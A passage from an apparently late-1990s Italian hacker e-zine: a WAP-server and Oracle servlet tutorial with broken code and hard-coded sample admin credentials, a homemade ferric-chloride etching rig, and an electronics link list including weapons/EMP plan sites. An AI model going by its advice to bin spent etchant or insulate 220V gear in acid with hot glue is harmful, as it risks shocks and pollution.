Chiudete la sessione di HyperTerminal e tirate su dai Services del Control Panel il RAS Server. Adesso telefonate al vostro numero di telefono per vedere se il modem risponde.... dovrebbe comunque accendersi la luce "AA" del modem. A questo punto bisogna progettare una servlet (scritta rigorosamente in java), compilarla ed immetterla all'interno della cartella "servlets" del vostro Web Server. Non importa se il WebServer sia locale o remoto, basta che l'abbiate. Vi consiglio comunque di installare l'Apache Web Server con il supporto Java Server versione 1.3.9 Adesso la servlet deve essere registrata come servizio accessibile all'interno del file zone.properties; l'ultimo passo è scrivere la chiamata alla servlet una volta connessi al server Web, rigorosamente in Wml. Questo è il disegno: ------------ ------------ + Apache + +---------------> +Wap Server+ +-----> + WebServer+ | ------------ | ------------ ---------- | | | + Client + | | | ---------- | | -------------- ------------ | + Servlet + + Applicaz.+ <--------------> + Registrata + + in Wml + -------------- ------------ La situazione funziona in questo modo. Il client chiama il numero del telefono del server Wap (il numero del modem insomma); quest'ultimo è agganciato ad una applicazione scritta in Wml, che ad un certo punto può richiamare (o lo fa immediatamente) una servlet registrata in un WebServer. I dati a questo punto vengono rispediti indietro dalla servlet all'applicazione in Wml che li ripassa al Wap Server che a sua volta li rende visibili al client. Alternativamente la servlet può collegarsi ad un altro servizio per ottenere delle informazioni, non so magari ad un database oracle a cui passare determinate query da risputare indietro all'applicazione Wml. Fin qui tutto TEORICO, adesso veniamo ad un pò di PRATICA :) Vogliamo creare la seguente situazione: ------------ ------------ + Apache + +---------------> +Wap Server+ ---------------> + WebServer+ | ------------ | ------------ ---------- | | | + Client + | | | ---------- | | -------------- ------------ | + Servlet + + Applicaz.+ <-----------------> + Registrata + + in Wml + -------------- ------------ | ------- | + DB + <----- Esecuzione di una Query in un DBORACLE----+ ------- La cosa mi sembra molto chiara. Il client chiama il server WAP che è agganciato alla solita applicazione in Wml che ad un certo punto richiama una servlet che si collega ad un DB effettuando una query e facendo ritornare indietro ogni sorta di dato. Tralasciando il fatto di come installare le JRE (dovrete in pratica eseguire solo il file .exe), di come installare il Nokia Wap Server (la cui installazione è già molto ben descritta nei file di testo interni ad esso), e tralasciando inoltre come installare un Web Server passerei direttamente alla servlet che deve essere scritta in Java. Il codice commentato è il seguente. Io l'ho compilato con il JBuilder 2, ma state sicuri che se avrete la path settata in modo ordinato, anche con un semplice javac riuscirete a compilarlo. Se avete un compilatore Java grafico come quello sopra citato allora le uniche librerie java che dovrete procurarvi sono le JSDK e le THIN-ORACLE. Il primo è un singolo file .jar, il secondo è contenuto già all'interno dei più moderni classes.zip e vi servirà come supporto per il collegamento ad un database Oracle. Se siete così pazzi da voler usare javac manualmente.....,bhè, allora installate le JDK :) Tutto ciò citato fino ad ora dovreste trovarlo nel sito della sun : www.sun.com e www.javasun.com se non erro :))) Eccovi quindi il codice in Java opportunamente commentato.... là dove ce n'è di bisogno naturalmente: ---------------------------------------------------------------------------- inizio query.class ---------------------------------------------------------------------------- import java.io.*; import java.sql.*; import javax.servlet.*; import javax.servlet.http.*; public class query extends HttpServlet { public void doGet (HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { Connection con = null; Statement stmt = null; ResultSet rs = null; res.setContentType("text/vnd.wap.wml"); PrintWriter out = res.getWriter(); /* Fin qui non c'è niente da dire, settiamo i valori delle variabili e settiamo il ContentType della risposta in un formato leggibile per il protocollo WAP, appunto in wml. Se invece ci fosse text/html immaginate in che formato ci verrebbe restituito il tutto? :) */ try { Class.forName("oracle.jdbc.driver.OracleDriver"); con = DriverManager.getConnection("jdbc:oracle:thin:@IpDatabaseOracle:PortaListener:IstanzaDatabase", "nomeutente", "password"); /* Oh qui bisogna precisare alcune cosette. IpDatabaseOracle sta a specificare l'ip della macchina a cui la servlet dovrà collegarsi per lanciare la query; PortaListener sarebbe la porta alla quale il database accetta delle connessioni (solitamente la 1521) per simulare una transazione come se si fosse in locale con SQLPlus; IstanzaDatabase (per i veterani denominato SID) sta invece a specifare il nome del database a cui ci si deve connettere, con il relativo nomeutente e password dell'amministratore di quel database. Un esempio potrebbe essere questo: con = DriverManager.getConnection("jdbc:oracle:thin:@10.12.80.80:1521:DBITA", "dbitadm", "admin"); In questo modo ci colleghiamo al database presente in 10.12.80.80 alla porta 1521; il suo nome è DBITA, mentre l'utente che ha su di esso privilegi di amministratore si chiama "dbitadm" ed ha come password "admin". */ stmt = con.createStatement(); rs = stmt.executeQuery("SELECT righedellacolonna FROM tabella"); /* Qui abbiamo una semplice ma vera e propria query. Con questa diciamo di selezionare tutte le righe della colonna denominata "righedellacolonna" e presente nella tabella denominata "tabella". Queste naturalmente sono da modificare secondo le proprie necessità. */ out.println(""); /* Cominciamo a costruire gli header di visualizzazione per il client che supporta WAP */ while (rs.next()) { out.println("

" + rs.getString("righedellacolonna")); out.println("

"); } /* Avviamo un ciclo di lettura e diciamo di visualizzarci tutto il contenuto delle righe della colonna denominate "righedellacolonna", e per ognuna di esse diciamo che devono essere visualizzate in modo formattato tramite l'header

*/ out.println(""); catch(ClassNotFoundException e) { out.println("Non posso caricare i driver del Database: " + e.getMessage()); } catch(SQLException e) { out.println("SQLException: " + e.getMessage()); } /* Visualizziamo il tipo di errore che potrebbe venirci ritornato in caso di fallimento della servlet, o a causa di una Classe non trovata oppure a causa di una eccezione SQL */ finally { try { if (con != null) con.close(); } catch (SQLException ignored) { } /* In fine controlla se la connessione è ancora attiva e se è così chiudila */ } } } ---------------------------------------------------------------------------- fine query.class ---------------------------------------------------------------------------- A questo punto sbattete la servlet dopo averla opportunamente compilata sotto la cartella servlets del vostro Apache Java Server, modificate il file zone.properties come segue: sotto la voce Startup Servlets aggiungete: servlets.startup = nomedellaservlet sotto la voce Servlet Aliases aggiungete: servlet.nomedellaservlet.code = nomedellaservlet A questo punto assicuratevi di aver settato la path in modo giusto per far trovare le librerie che servono alla vostra servlet, modificando ciò che c'è da modificare nei file di configurazione dello Apache Web Server..... .......e createvi una piccola applicazione in wml (vi garantisco che è una vera cazzata , la sintassi è molto simile allo Html; dal sito della Nokia potrete scaricarvi tutta la documentazione di cui avete bisogno, magari utilizzando il servizio di ricerca). Tale applicazione in wml dovrà richiamare appunto la servlet.... un pò come creare il link di un sito in html. Adesso agganciate questa applicazione in wml direttamente al Nokia Wap Server (si può fare tramite GUI o tramite linea di comando) e siete a posto. Se avete il Nokia Wap Toolkit potrete simulare il tutto senza avere un telefonino che supporti il protocollo WAP.... altrimenti se siete sculati ed avete già ricevuto il cellullare giusto per natale, potete fare le prove direttamente dal VIVO. Per oggi è davvero tutto. Mi scuso solo se a volte sono stato poco chiaro in alcuni passi per l'implementazione di un server Wap, ma sapete, è bello scoprire di saper fare certe cose da soli... spremendosi le meningi, (come sono sicuro che farete voi non avendo tutto in un piatto d'argento);e poi io con ste cose ci lavoro, non vorrete mica togliermi lo stipendio nè? heheh Byez alla prossima [Crediti] * Scazzamenti vari su Altavista, Lycos e via dicendo.... * Un Libro acquistato in Canada da un conoscente sulle Servlet di cui non ricordo il titolo...... :) * Documentazione scritta dalla Nokia e reperibile nel loro sito. [Saluti e baci a tout le monde] Un saluto particolare ad un simpatico personaggio che mi ha scambiato i Savage Garden per i Savatage :) Un Hyppi Hurrà agli Iron Maiden ed il loro nuovo album che attendo impazientemente A quella bonazza di una ragazza che ho visto l'ultima volta verso la fine di luglio in un bar di Roma e che forse tra poco tempo riuscirò finalmente a conoscere.... Ti penso sempre G...a !! Ciao Ciao. Megan Gale RuleZ xabino@freemail.it #---[Circuiti fatti in casa ]----------------------------------------+RigoR MorteM+---# Come farsi i circuiti in casa (dalla vaschetta all'acquario) Anzitutto un grazie va a \sPIRIT\ per avermi dato l'idea di spiegare un pochino di nozioni di base sull'elettronica ,speriamo che almeno servano a qualcuno :-] I rudimenti e la lista dell'attrezzatura base necessaria, nonchè la teoria d'uso li trovati su Wannabe, reperibile su www.attilahack.cjb.net opure in mirror su www.spippolatori.com, ve ne consiglio la lettura,altrimenti non ci capirete na sega :-] Per la spiegazione di come farsi in casa un fotoincisore è stato pubblicato un mio articolo su A.I.S reperibile a http://aisprod.tsx.org oppure,come al solito, in mirror su www.spippolatori.com ,decidete voi se scaricarla , a mio avviso ne vale la pena... Ed adesso , in emulazione dichiarata di tutto lo staff di BfI.... Musica ascoltata : The Chemical Brothers : Surrender Guano Apes : Proud Like a God Rancid : Gun Si ringrazia Harlok per gli mp3 :-] -Piccola introduzione- Allora, io ho sempre letto con interesse tutte le riviste di elettronica che mi capitavano sottomano ma prima di iniziare a realizzare qualunque cosa mi ponevo sempre un grosso problema: come cazzo mi faccio la basetta? Ora , non che io sia un perfezionista,ma usare sempre e solo basette millefori lo trovo noioso e non molto pratico, specie se i componenti da montare sono molti e si è quindi costretti ad usare chilometri di fili per ovviare alla mancanza di piste.Poi un giorno mi è venuta l'illuminazione: costruirmi da solo le basette! So che è una cosa scontata , ma che volete, avevo 12 anni!Così sono andato dal mio fido negoziante ed ho comprato una basetta vi vetronite ed un pennarello per disegnarci sopra i circuiti.Dato che io come disegno a mano libera ho sempre fatto cagare potete immaginare i risultati :-[ Eppure i circuiti che vedevo sulle riviste...Così ho scoperto l'uso dei trasferibili con tutte le piazzole già pronte,con la giusta spaziatura,le piste già pronte , insomma, una comodità non da poco! E così i miei circuiti sono venuti decisamente meglio!Poi mi sono posto il problema di come levare il rame in eccesso, ed ho scoperto il cloruro ferrico. Si tratta di un liquido marroncino che corrode tutto il rame in eccesso dalle vostre basette disegnate o create con i trasferelli , ed è praticamente l'unica cosa che io conosca che fa ciò... Bene, finita la premessa adesso vi spiego un paio di cose sul cloruro ferrico! Non potete semplicemente buttare la vostra basetta disegnata nel clururo ferrico e dimenticarvene, dovete aspettare per lo meno 4 ore prima di avere la basetta pronta... Oddio, se non avete fretta... Tenete presente che un litro di cloruro costa circa 12.000 lirette , e dopo 2-3 incisioni lo dovete buttare... NON sognatevi di buttarlo nel cesso o giù dal lavandino come se fosse brodo, vitrovereste nel migliore dei casi a dover cambiare tubi e non è molto piacevole... Potete fare come me,cioè metterlo in una bottiglia vuota e ben tappata, poi buttatela nella spazzaura.Ok, non sarà poi molto ecologica come cosa, ma vi salvate le tubature.... Adesso vi spiego come risparmiare un pochino usando il cloruro ferrico... Usatene poco, sempre poco,ed in un recipiente adeguato! Per avere tempi di incisione molto bassi ci sono molti metodi, mo ve li spiego: /1/ Vaschetta di plastica Si tratta di usare una vaschetta di plastica con poco liquido dentro, il circuito messo con la parte ramata verso l'alto ed agitare con le mani [GUANTATE] il tutto, in modo da velocizzare il processo.Ci vogliono almeno 15 minuti prima di avere l'incisione a buon punto , 20 circa per avere il circuito pronto.Io come vaschette uso quelle dei petti di pollo AIA di polistirolo ,costano na sega ma hanno lo svantaggio di assorbire le particelle di rame che vengono erose. Se avete in tasca un po di soldi consiglio le bacinelle da fotografi ,ma sono una sciccheria ! /2/ Vaschetta Lego Questa è un parto della mia fantasia malata, e la ho ottenuta con una vaschetta di polistirolo AIA, un po di pezzi di Lego e Lego Technic e un motore Lego a 12V.Paticamente ho costruito una piattaforma sulla quale incastrare la vaschetta con sotto un pochino di ingranaggi per fare in modo che la piattforma si inclini di pochi gradi a destra e di pochi a sinistra , in modo da ottenere una circolazione costante del liquido.Ho usato dei pezzi della mia bellissima ruspa cingolata, utilissima, a dire il vero, dato che i cingoli sono diventati la catena di trasmissione... Se ci ragionate un pochino, e se usate una delle ruote dentate grosse attaccata direttamente all'albero del motore , ed una ruota piccola attaccata ad un lato della ruota grossa, capite subito come fare :-] Appena possibile (ovvero appena finisco il rullino) metterò on line un pochino di fotografie... /3/ Acquario Questa indea mi girava in testa da un po, ma mi sono sempre bloccato sul fatto che mi serviva una pompa da acquario, del costo di una 50ina di milalirette... Ieri, per botta di culo mostruosa, ho trovato nella spazzatura vicino a casa un'acquario completo... Quando dico completo, vuol dire completo, ovvero con tutti i vetri, la pompa, il riscaldatore, i neon ,l'ossigenatore , la sabbietta , un'anfora ornamentale e 5 piantine... Ovvio che lo ho preso e me lo sono portato in garage... Ma la gente è proprio cogliona! Cazzo, si era solo bruciato lo starter dei neon! Beh, ,meglio per me... Considerando che per avere una quantità di liquido decente nell'acquario ce ne vogliono almeno 10 lirtri, a 12.000 al litro fanno la bellezza di 120.000 quindi ho provveduto a trasferire le parti vitali in una vaschetta più piccola. Adesso viene la parte interessante.... Legenda : $ per ricconi < per risparmiatori * necessario ! facoltativo Ingredienti: * pompa da acquario, portata 150 litri/ora o più ! riscaldatore da acquario (in ampolla di vetro) !ossigenatore di capacità a piacere e relativo tubo $ bacinella di plastica per tartarughe o bacinella da fotografo oppure < contenitore 'Mastellino Sammontana' da 2.5 litri di gelato (il mio era alla fragola,ma anche altri gusti vanno bene :-]) $ tubo di pvc lungo 20 cm diametro 10cm con tappo ad un'estremità oppure < bottiglia di Sprite di plastica da 1.5 litri tagliata a 20 cm dalla base $ tubo snodato in plastica per telefoni da doccia oppure < 50 centimetri di tubo di plastica con lo stesso diametro delle bocchette della pompa $6 morsetti modello mammut oppure +--------------------------+ ¦+------------------------+¦ ^ ¦¦ ¦¦ | ¦¦ + + ¦¦ | ¦¦ ¦ --+¦ ¦¦ ¦ § § ---+ ¦ ¦¦ ¦ ¦ § ¦ ¦ ¦¦ +---+§§§§§§§§§§§§§§¦ ¦§§¦¦°§§§§§§§§§§§§§§§§§§§§§¦ ¦§§¦¦°§§+---+§§§§§§§§§§§§§§¦ ¦§+++-+§¦ +--------------+ ¦§¦ p ¦§¦ ¦§+---+§¦ ¦§§§§§§§¦ +-------+ Il carattere § rappresentea il liquido, il quadrato con la p è , logicamente , la pompa, i caratteri ° sono l'entrata della pompa mentre il tubo che esce dalla pompa ed entra nella vasca è il flusso in uscita del liquido. Il contenitore alto e stretto è la bottiglia di Sprite tagliata (sono molto contrario al tubo di PVC come avevo scritto,il tubo costa,la bottiglia di sprite NO) con dentro la pompa.Quest'ultima DEVE essere immersa nel liquido, tranquilli che non si corrode, altrimenti il motore grippa e la dovete buttare nel cesso... Il contenitore basso invece, per esclusione, è il barattolino Sammontana con un buco a 3.5 cm dal fondo, sul lato stretto, con innestato un pezzo di manichetta da giardino che si collega alla bottiglia in modo da mantenere il livello del liquido uguale nei due contenitori (anche qui vale il discorso del tubo di PVC, perchè usare il tubo da doccia che costa di +, se non per ragioni estetiche?).Capite adesso perchè il principio dei vasi comunicanti? La basetta da incidere va messa al centro del barattolino in modo che riceva il getto di acido direttamente sopra. La base del giocattolino è questa, le migliorie da fare , a mio avviso , sono quelle che ho fatto io , cioè: -1- Griglia di plastica da mettere qui... + + ¦ - ¦ - ¦ \\ ¦ --+§§\\§§§§§§§§§§¦ §§§§§§\\§§§§§§§§§¦ --+§§§§\\§§§§§§§§¦ +--------------+ \\ = griglia Beh, più o meno la posizione è quella, insomma, dovete mettere la griglia in modo che il flusso del liquido cada sopra alla griglia, sulla quale voi,ovviamente,metterete la vostra basetta. -2- Riscaldatore da acquario modello 'Euraquarium 20' Il riscaldatore si presenta in un tubo di vetro della lunghezza di 18 cm e del diametro di 2.5.Un'estremità è a bulbo con la resistenza riscaldante in fondo ed all'altra estremità un tappo con il filo di alimentazione che fuoriesce. Fissate il riscaldatore ad una parete della bottiglia con la parte riscaldata verso il centro della bottiglia in modo che non riscaldi le pareti oppure lasciatelo fluttuante, basta che non tocchi le pareti.Insomma, guardate il disegno! alla 220v ¦¦ | ¦¦ ¦ | ¦¦ ¦ ¦ | ¦¦ +- ¦§§**§§§¦¦°§§§§ ¦§§**§§§¦¦°§§+- ¦§§**§§+++-+§¦ ¦§§**§§¦ p ¦§¦ ¦§§**§§+---+§¦ ¦§§**§§§§§§§§¦ +-------------+ Come potete intuire gli asterischi sono la sonda.... -3- Irrigatori modello 'Gardenia Giardino' Beh,dai, non ridete!Avete mai visto i giardini con gli spruzzatori con un'arco di 180° ? Ne ho trovati 6 sepolti nella cassetta delle cianfrusaglie di mio cugino e me ne sono appropriato... Al posto del tubo di immissione del liquido ho usato 3 irrigatori messi in serie in modo che gli spruzzi coprano uniformemente la basetta. -4- Ossigenatore da acquario. Come per tutti gli altri componenti, anche questo pezzo fa parte dell'acquario che ho trovato... L'ossigenatore non è altro che una piccola pompa (NON a immersione) con un tubicino ad una estremità.A capo del tubicino c'è un pezzetto di pietra porosa.Quando l'aria esce dalla pietra porosa,che si trova immersa nel liquido, si creano centinaia di piccole bolle che salgono lentamente a galla.Secondo le istruzioni d'uso del cloruro ferrico l'ossigenazione aiuta in maniera notevole il processo, ma a me non pare... Cmq, ho provato a mettere l'ossigenatore sia nella bottiglia sia nella vaschetta ma non ho avuto risultati degni di nota. anche immergendo il circuito ed eliminando gli irrigatori. Fate voi, se ve lo dovete comprare a mio avviso non ne vale la spesa... Ultime note... Tutto il progetto lo ho assemblato usando la colla a caldo come isolante al posto del silicone.Il silicone costa una cifra e non riesco mai a finirne un tubo, così per lo meno la colla non costa un cazzo (basta rubarla alla cassetta degli attrezzi del cugino) ed isola ugualmente.La pompa e il riscaldatore sono alimentati a 220V ed assorbono , in complesso, 80W , 50 per la pompe e 30 per il riscaldatore.Tutta la parte di tubi è stata realizzata usando un normale tubo di gomma da giardino isolato con la colla a caldo e fascette serratubi di metallo (150 lire cadauna).Per il fissaggio dei tubi con l'impianto di irrigazione Gardenia ho usato 3 tubi di diametro più piccolo innestati sulla gomma da giardino, tenuti fermi da colla a caldo e un paio di giri di nastro isolante.Il tutto è stato montato con la colla a caldo do una base di legno che era il vecchio coperchio del mio fotoincisore,cioè era in origine una cassetta di pere... Consiglio di montare 2 interruttori indipendenti per la pompa e per il riscaldatore in modo da poter attaccare quest'ultimo prima di accendere la pompa (almeno 10 minuti) in modo da avere la soluzione già calda per il momento giusto. Io di solito quando devo fare dei circuiti accendo il riscaldatore, metto il circuito nel fotoincisore (5 minuti d'orologio) accendo la pompa per un'attimo (in modo che vada un po in circolo il liquido caldo), sviluppo la basetta con il rivelatore di photoresist e la metto su un pezzo di carta.A questo punto accendo e lascio accesa la pompa, asciugo la basetta , mi metto i guanti e metto la basetta sotto il getto dell'acido. Beh, non ho alro da dire, se non che il progettino funziona a meraviglia e per incidere una basetta 10 per 15 ci metto circa 6 minuti.E non mi scasso le palle a scrollare la bacinella come prima :-]] Bene, spero di avervi dato una buona idea, per chi volesse fare 2 chiacchere sono reperibile a rigormortem@spippolatori.com Buon divertimento! RigoR MorteM - SPP 98-99 #---[Linkarium]------------------------------------------------------+RigoR MorteM+---# Linkarium Elettronicae Diciamo che questo è un'articolo semi-conclusivo per tutti quelli che sono riuscito a contagiare con la mia passione/follia per l'elettronica, qui sotto infatti troverete un bel po di links a siti sia italiani che stranieri in modo da darvi un punto di riferimento nella rete... Iniziamo subito con i siti dedicati ad una mia grande passione : i lego ed i robot!!! LEGO MINDSTORMS http://www.legomindstorms.com/fll/ ADEQUATE.com Lego Maniacs' Search http://www.adequate.com/lego/maniac/ Build the LEGObug http://lcs.www.media.mit.edu/people/fredm/projects/legobug/index.html COOL LEGO PROJECTS http://www.pcsedu.com/pcs/quest/back/mar_96/legos.htm CS148 Lego Robots http://www.cs.brown.edu/people/asf/legobot.html Lego Robot models of trace fossils http://www.shef.ac.uk/~abrg/tony/evolution/AISB97.html LEGO(r) PNEUMATICS PROJECTS http://www.weirdrichard.com/pneu2.htm PC's LEGO Empire http://www.cs.dartmouth.edu/~crow/lego/ The Lego Swarm http://www.hut.fi/~mhanhisa/kuvat/robotti.html VUB Arti robotic agents, lego-robots http://arti.vub.ac.be/~cyrano/ROBOTS/lego.html Writing programs with ICOBotics(TM) http://www.micro.caltech.edu/icobotics/programming.html Arrick Robotics PC-Based Motion Control Products http://www.robotics.com/ collectible toy robots and space toys http://www.cybertoyz.net/ Mondo-tronics' Robot Store --- Robots Kits, Muscle Wires, SMA's, Electronics, Parts, and More!!! --- http://www.robotstore.com/ Novateck Robotics http://www.newmedia.it/musicopoli/novateck/novateck.htm Robot Books.com Robot Kits, Robotics, and Toy Robots http://www.robotbooks.com/ Robot Resource Page http://home.quicknet.com.au/andrewm/robot/index.html Robotics Resources http://www.southwest.com.au/~jfuller/robotic.html Lynxmotion Robot Kits http://www.lynxmotion.com/ Correlato al discorso robot logicamente ci sono i motori passo passo, necessari ai robot.... E allora beccatevi questo! HVW Technologies http://www.hvwtech.com/ Indice del corso sui motori passo-passo http://www.geocities.com/SiliconValley/Lab/9128/passopasso.html Nanotec http://www.nanotec.de/ The Stepper Archive http://www.wirz.com/stepper/ Poi passiamo ai siti dedicati ad un'altra delle mie passioni : capire che cazzo combinano le porte seriali , e se il mouse ed il modem sono oramai in ogni seriale, vedete un po di capire come funzionano e cosa potete attaccare alle vostre seriali libere! Interfacing The Serial RS-232 Port http://www.geocities.com/SiliconValley/Bay/8302/serial.htm Serial Communications http://www.rdrop.com/~cary/html/serialportdocs.html Welcome To Keith's RS232 library page http://www.ent.ohiou.edu/~welker/rs232/ E per la porta parallela? Solo la stampante avete collegato? O magari anche lo scanner... Ok, ma come funzionano? Provate un pochino a capirlo... Digital joystick adapter for the PC http://www2.burg-halle.de/~schwenke/parport.html IBM-PC Parallel Printer Port - Reading & Writing Data http://www.doc.ic.ac.uk/~ih/doc/par/doc/data.html Parallel port interfacing basics http://www.ucl.ac.uk/~ucapwas/pportbas.html The PC's Parallel Port http://www.lvr.com/parport.htm Bene, le cose basilari le avete, adesso andiamo sui link che possono sempre tornare utili : i motori di ricerca!!! Alex's Electronic Test Bench http://www.iserv.net/~alexx/ Chip directory http://www.chipdir.com/chipdir/index.htm ChipCenter The Web's First Definitive Electronics Resource http://www.chipcenter.com/ EE Design Center - QuestLink Technology Integrated Circuits, Boards, EDA Tools, Discrete Devices http://www.questlink.com/ssuid:S8O9D000sAk00029e3YAPHFpO1/ ELECTRONIC DESIGN LABORATORY RESOURCES - ELECTRONIC COMPANIES http://www.ele.auckland.ac.nz/info/techos/design/electro.htm Pin-Outs.Com Directory - Technical Information http://www.pin-outs.com/ RadioLocman- Electronic recourses and schematics for engineers and amateurs http://www.rlocman.com.ru/en/ Pare che qualcosa stia iniziando a venire fuori... Adesso andiamo ancora un po avanti... Avete voglia di leggere e conoscete l'inglese? Beccatevi questo... ElectronicAustralia http://www.electronicsaustralia.com.au/pastcont/julycont.htm Electronics Express Europe Europe's premier electronics industry magazine http://ww2.infoxpress.com/ebp/ee/ Electronics Now! and Popular Electronics http://www.gernsback.com/index.html Electronique Pratique http://www.eprat.com/ Elektor Electronics - The electronics and computer magazine http://www.elektor-electronics.co.uk/ Elettronica Flash home page http://www.elflash.com/ Elettronica Oggi http://www.vnu.jackson.it/EO/ ET the TECHNOLOGY INTERFACE http://et.nmsu.edu/~etti/fall96/ Fare Elettronica On Line http://www.farelettronica.com/ Home page di Nuova Elettronica http://www.nuovaelettronica.it/ Home Toys - Home Automation and Networking Resources http://www.hometoys.com/ Welcome to Electronics 2000.com http://www.electronics2000.com/ Poi, vediamo cosa tiro fuori dal mio bookmark... Siti prono free? No, dai, facciamo le persone serie... Magari adesso volete un po di circuiti con i quali giocherellare e fare pratica? Mah, io ve li metto, poi sta a voi farli... 4QD Electronics Circuits Reference Archive http://www.4qd.co.uk/ccts/index.html Circuits in the Circuits Archive http://www.ee.washington.edu/eeca/circuits/ Claudio Lanconelli LancOS Home Page http://www.cs.unibo.it/~lanconel/ Downloadable Circuits http://www.electronicsforu.com/efyhome/circuit/morecir.htm Electronic Circuits http://www.aaroncake.net/circuits/ Poptronix(r) Online Electronics Construction Project Archive http://www.poptronix.com/articles/index.html The Electric wave http://www.geocities.com/CapeCanaveral/Lab/5185/electronics.html Poi, che altro? Un pizzico di follia che male non ci sta mai? Massi'..... Bert Pool's Place (armi e EMP) http://users.ticnet.com/bertpool/ FuckU-FuckMe. Changing the feel of communication. http://www.fufme.com/ Got a Match- iPic web server http://www-ccs.cs.umass.edu/~shri/iPic.html PLANS AND KITS UNLIMITED (armi elettroniche) http://www.plans-kits.com/index1.html E adeso? Basta? No, non ho ancora sonno, quindi continuo a scrivere :-] Allora, un po di testi e corsi sparsi vi interessano? Lo spero .... 4QD Electronics Circuits Reference Archive http://www.4qd.co.uk/ccts/index.html 8052.COM Corso 8051 Indice http://www.geocities.com/SiliconValley/Garage/1748/8051/tut8051.htm Appunti on line http://members.xoom.it/stor/main/main.htm B & B Electronics Mfg. Company's Product Data Sheets-Literature Index ftp://ftp.bb-elec.com/bb-elec/literature/.index_l.html Electronics for Beginners (Inroduzione) http://tanzilli.com/users/atomino/efb/index.htm HwB The Hardware Book http://www.hwb.acc.umu.se// Index of -pub-electronics-ftp.armory.com http://ftp.unina.it/pub/electronics/ftp.armory.com/ Microcontroller and Electronic Project Page http://www.proaxis.com/~iguanalabs/micropro.html Vi serve un componente che non riuscite a trovare o che magari non sapete neppure esistere? Beh, chiedete un catalogo, no? La maggior parte di questi siti vi manda il catalogo cartaceo, altrimenti vi tocca il download di un bel pdf... Piccola pubblicità : per chi è interessato, si dia un'okkiata a http://cadaveria.hypermart.net.... All Electronics New-Surplus Electronic Electro-Mechanical Parts and Supplies http://www.allelectronics.com/ ASA Micros PIC Support Home Page http://www.asamicros.com/ B+K Precision Home Page http://www.bkprecision.com/ Benvenuti in Weidmüller Italia http://www.weidmuller.it/ CH Products OEM Positioning Controls http://www.chproducts.com/oem/index.html Componentweb - Component on the World Wide Web http://componentweb.com/index.htm Crownhill Associates Limited http://www.crownhill.co.uk/ Display Electronics- Europe's largest surplus stockist 16,000,000 items from stock http://www.distel.co.uk/ Distrelec-Disdata-Distop - More than 40'000 products online ! http://www.distrelec.com/ DPM Elettronica http://www.dpmelettronica.it/ DTE MICROSYSTEMS ON-LINE CATALOG http://www.u-net.com/epr/dte/dte.htm Electronic Servive http://www.eservice.it/ Elettronica Nobile On Line http://www.elettronicanobile.com/ ELETTROSHOP lo shop virtuale dedicato all'elettronica http://www.elettroshop.it/ Europart http://www.europartnet.com/ GIAMPER componenti elettronici http://www.giamper.com/ Grayhill, Inc. Home Page http://www.grayhill.com/ Leading Edge Technology http://let.cambs.net/ Magenta Electronics Ltd. http://www.magenta2000.co.uk/ Maplin Electronics - 1999 Online Catalogue https://catalogue.maplin.co.uk/main.tpl?command=NewCart MECI - Surplus Electronics - Mendelson's Electronics Co., Inc. http://www.meci.com/ Micromint, Inc. Single Board Computer http://www.micromint.com/ Mouser Electronics, Distributor of Electronic Components http://www.mouser.com/ MPJA - Electronic Mail Order Supplier http://www.mpja.com/ NTE Electronics, Inc. http://www.nteinc.com/ RadioShack.com http://www.radioshack.com/ RS Components Catalogo http://catalogo.rs-components.it/ Stock Drive Products - Sterling Instrument_Gears, bearings, timing pulleys and belts, drive components. http://www.sdp-si.com/ Surplus Electronics and Computer Parts http://www.eio.com/ Welcome to JDR Microdevices! http://www.jdr.com/interact/default.asp Welcome to Newark Electronics http://www.newark.com/ Zorin HC11 Microcontroller Products http://www.zorinco.com/ E fin qui tutto ok... Ma siccome so che è più facile costruire un kit che creare un circuito da zero vi metto anche qualche url di chi vende kit o scatole di montaggio.... Artek http://www.artek.it/ Centerpointe Electronics Store HOME PAGE http://www.shopsite.com/fredb/ Electronic Kits - Project Kits http://www.hallbar.com/ Electronic Kits and Plans, Spy Security Surveillance Video Cameras and Recorders http://www.electronickits.com/ Electronic Kits http://www.xtronics.com/kits.htm Gateway Electronics http://www.gatewayelex.com/ Kitrus Designer & manufacturer hobby & educational electronic kits. http://kitsrus.com/ Magenta Electronics Ltd. http://www.magenta2000.co.uk/ PAiA Electronics, Inc http://www.paia.com/ PC KITS-tutorial page (serial port, RS-232) http://www.ctv.es/pckits/tpserie.html Weeder Technologies http://www.weedtech.com/ Welcome to Velleman Electronics, Kits, Tools and Equipment http://www.velleman.be/index2.htm Futura Elettronica http://www.futuranet.it GPE http://www.gpekit.com Siti amatoriali ne esistono una marea, ok, lo so, ma qui sotto trovate quelli che mi sono piaciuti di più e che mi hanno insegnato di + ... Almost All Digital Electronics http://www.aade.com/ Cryochem9's Grid http://members.tripod.com/Cryochem9/grid1.html Datasheets & elettronica http://www.netsys.it/vins/indir2.htm Diana's Electronics Info Page http://members.tripod.com/~schematics/electro.htm Dick Perron's Hardware Information page http://www.gw.total-web.net/~dperr/pc_hdwe.htm Digital PC Oscilloscope http://www.ee.washington.edu/conselec/CE/sp95reports/guterman/final/scope1.htm Don Lancaster's GURU'S LAIR home page http://www.tinaja.com/ Dr. Bob's Electronic Resource http://www.drbob.net/ Electronics OnRamp http://members.xoom.com/jimas/tronics.html Elettronica hobby and Ham-Radio Keyer by i2viu http://freeweb.aspide.it/freeweb/i2viu/ EmulST62 Main Page by Tomasini Paolo http://members.xoom.com/emulst62/ GameSX , Video Game Tech http://www.gamesx.com/index2.htm Hobby Elettronica Sito Free..... http://www.geocities.com/SiliconValley/Bay/1256/ Home of PcGenerator ,EpromProgrammer,Pic24C and more http://www.willem.org/ Home Page di DE SANTIS DANIELE (vb e rs232) http://www.archimedianet.it/ddesantis/ Home-made EPROM gear http://dustbin.virtualave.net/circuits/epromgear.html Homemade Hobby Electronics Emporium http://www.kent.net/~boucher/index.htm#mainmenu IK7NXQ home page electronics http://www.geocities.com/CapeCanaveral/6369/electronics.html IK7NXQ home page Sci.Electronics.Repair FAQ index in italiano http://www.geocities.com/CapeCanaveral/6369/F_Repair_it.html Introduction to Diana's Electronics Info Page http://members.tripod.com/~schematics/index.html La paginina di VincenzoV http://www.freeweb.org/hobby/VincenzoV/ N64 controller interface http://www.st-hans.de/N64.htm Paolo Palmerii'S Home Pages http://members.xoom.it/pal-merii/index.htm Resource in Italiano http://www.synapsis.it/UW/stefanon/ Shaun's Basic Stamp II Page http://www.geocities.com/SiliconValley/Orchard/6633/index.html The VTC IEEE-ISA Club Home Page http://dawn.vtc.vsc.edu/clubs/ieee/ Welcome 